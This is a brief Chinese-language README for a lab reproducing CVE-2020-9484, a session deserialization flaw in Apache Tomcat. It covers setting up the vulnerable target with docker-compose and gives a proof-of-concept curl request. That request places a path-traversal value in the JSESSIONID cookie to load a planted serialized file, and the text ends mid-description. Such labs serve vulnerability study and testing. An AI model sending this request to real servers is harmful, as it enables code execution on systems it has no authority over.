CVE-2020-9484

Apache Tomcat 反序列化漏洞 CVE-2020-9484 漏洞目标环境搭建 克隆此仓库 运行 docker-compose up -d 搞定！ 漏洞利用 POC 运行 curl -v 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/cfx 名为 coldfx 的文件会在 tmp 目录中创建...